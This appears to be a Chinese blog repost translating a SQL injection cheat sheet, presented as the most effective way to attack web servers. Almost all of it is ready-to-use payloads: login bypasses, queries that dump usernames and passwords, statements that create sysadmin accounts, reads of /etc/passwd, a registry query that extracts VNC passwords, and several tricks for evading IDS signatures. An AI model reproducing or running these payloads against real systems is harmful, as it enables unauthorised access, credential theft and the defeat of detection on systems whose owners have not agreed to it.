寫在前面:
最近看了不少老外寫的東西,看時間相同的技術當鋪比我們早了好長一段時間,比如ASP的SQL注射國外02年就出現了,PHP的也在04年出現,而我們一直到05年才接觸到,看看比人家晚了多少時間呀!
為了盡快了解最新的技術動态,我堅持看E文資料,有的很長,有的很短,本人時間有限,不可能一一翻譯過來,隻能挑選自己認為比較适合大家看的東西翻譯過來,希望你能從中學到東西。
PS:本人英語水準有限,很多都是按照我的了解做的模糊翻譯,若有不當,敬請指正,謝謝!
====||目錄||=====
--------------------
1、簡介
2、漏洞測試
3、收集資訊
4、資料類型
5、抓取密碼
6、建立資料庫帳号
7、MYSQL利用
8、服務名和配置
9、在系統資料庫中找VNC密碼
10、刺穿IDS認證
11、在MYSQL中使用char()欺騙
12、用注釋躲避IDS認證
13、構造無引号的字元串
====||文章開始||====
當你看到一個伺服器隻開了80端口,這在一定程度上說明管理者把系統的更新檔做的很好,我們所要做最有效的攻擊則也應該轉向WEB攻擊。SQL注射是最常用的攻擊方式。你攻擊WEN系統(ASP,PHP,JSP,CGI等)比去攻擊系統或者其他的系統服務要簡單的多。
SQL注射是通過頁面中的輸入來欺騙使得其可以運作我們構造的查詢或者别的指令,我們知道在WEB上面有很多供我們輸入參數的地方,比如使用者名、密碼或者E_mail。
最開始我們應該從最簡單的來試:
- Login:' or 1=1--
- Pass:' or 1=1--
還有下面這樣的方式:
- ' having 1=1--
- ' group by userid having 1=1--
- ' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = 'tablename')--
- ' union select sum(columnname) from tablename--
- ' or 1 in (select @@version)--
- ' union all select @@version--
上面就可以得到系統的版本和更新檔資訊。
Oracle資料庫>>
-->SYS.USER_OBJECTS (USEROBJECTS)
-->SYS.USER_VIEWS
-->SYS.USER_TABLES
-->SYS.USER_TAB_COLUMNS
-->SYS.USER_CATALOG
-->SYS.USER_TRIGGERS
-->SYS.ALL_TABLES
-->SYS.TAB
MySQL資料庫
-->mysql.user
-->mysql.host
-->mysql.db
MS access資料
-->MsysACEs
-->MsysObjects
-->MsysQueries
-->MsysRelationships
MS SQL Server資料庫
-->sysobjects
-->syscolumns
-->systypes
-->sysdatabases
用類似下面的語句。。。
//儲存查詢的結果
step1 : '; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login > @var select @var as var into temp end --
//取得資訊
step2 : ' and 1 in (select var from temp)--
//删除臨時表
step3 : ' ; drop table temp --
MS SQL
exec sp_addlogin 'name' , 'password'
exec sp_addsrvrolemember 'name' , 'sysadmin'
MySQL
INSERT INTO mysql.user (user, host, password) VALUES ('name', 'localhost', PASSWORD('pass123'))
Access
CRATE USER name IDENTIFIED BY 'pass123'
Postgres (requires Unix account)
CRATE USER name WITH PASSWORD 'pass123'
Oracle
CRATE USER name IDENTIFIED BY pass123
TEMPORARY TABLESPACE temp
DEFAULT TABLESPACE users;
GRANT CONNECT TO name;
GRANT RESOURCE TO name;
7、MYSQL互動查詢
使用Union查詢,暴出檔案代碼,如下:
- ' union select 1,load_file('/etc/passwd'),1,1,1;
8、系統服務名和配置
- ' and 1 in (select @@servername)--
- ' and 1 in (select servername from master.sysservers)--
9、找到VNC密碼(系統資料庫)
實驗語句如下:
- '; declare @out binary(8)
- exec master..xp_regread
- @rootkey = 'HKEY_LOCAL_MACHINE',
- @key = 'SOFTWARE/ORL/WinVNC3/Default',
- @value_name='password',
- @value = @out output
- select cast (@out as bigint) as x into TEMP--
- ' and 1 in (select cast(x as varchar) from temp)--
10、避開IDS檢測
Evading ' OR 1=1 Signature
- ' OR 'unusual' = 'unusual'
- ' OR 'something' = 'some'+'thing'
- ' OR 'text' = N'text'
- ' OR 'something' like 'some%'
- ' OR 2 > 1
- ' OR 'text' > 't'
- ' OR 'whatever' in ('whatever')
- ' OR 2 BETWEEN 1 and 3
11、MYSQL中使用char()函數
不帶引号的注射,例如: (string = "%"):
--> ' or username like char(37);
帶引号的注射,例如: (string="root"):
--> ' union select * from users where login = char(114,111,111,116);
在 unions中使用load files 函數,例如:(string = "/etc/passwd"):
-->' union select 1;(load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1,1;
檢查檔案是否存在,例如: (string = "n.ext"):
-->' and 1=( if((load_file(char(110,46,101,120,116))<>char(39,39)),1,0));
12、利用注釋符号避開IDS
舉例如下:
-->'/**/OR/**/1/**/=/**/1
-->Username:' or 1/*
-->Password:*/=1--
-->UNI/**/ON SEL/**/ECT (!!!這個比較罕見,應該大有作為!!!)
-->(Oracle) '; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
-->(MS SQL) '; EXEC ('SEL' + 'ECT US' + 'ER')
13、不帶引号的字元串
用char()或者0X來構造不含引号的語句。。
--> INSERT INTO Users(Login, Password, Level) VALUES( char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72) + char(0x70) + char(0x65) + char(0x74) + char(0x65) + char(0x72), 0x64)
本文轉自yonghu86 51CTO部落格,原文連結:http://blog.51cto.com/yonghu/1321441,如需轉載請自行聯系原作者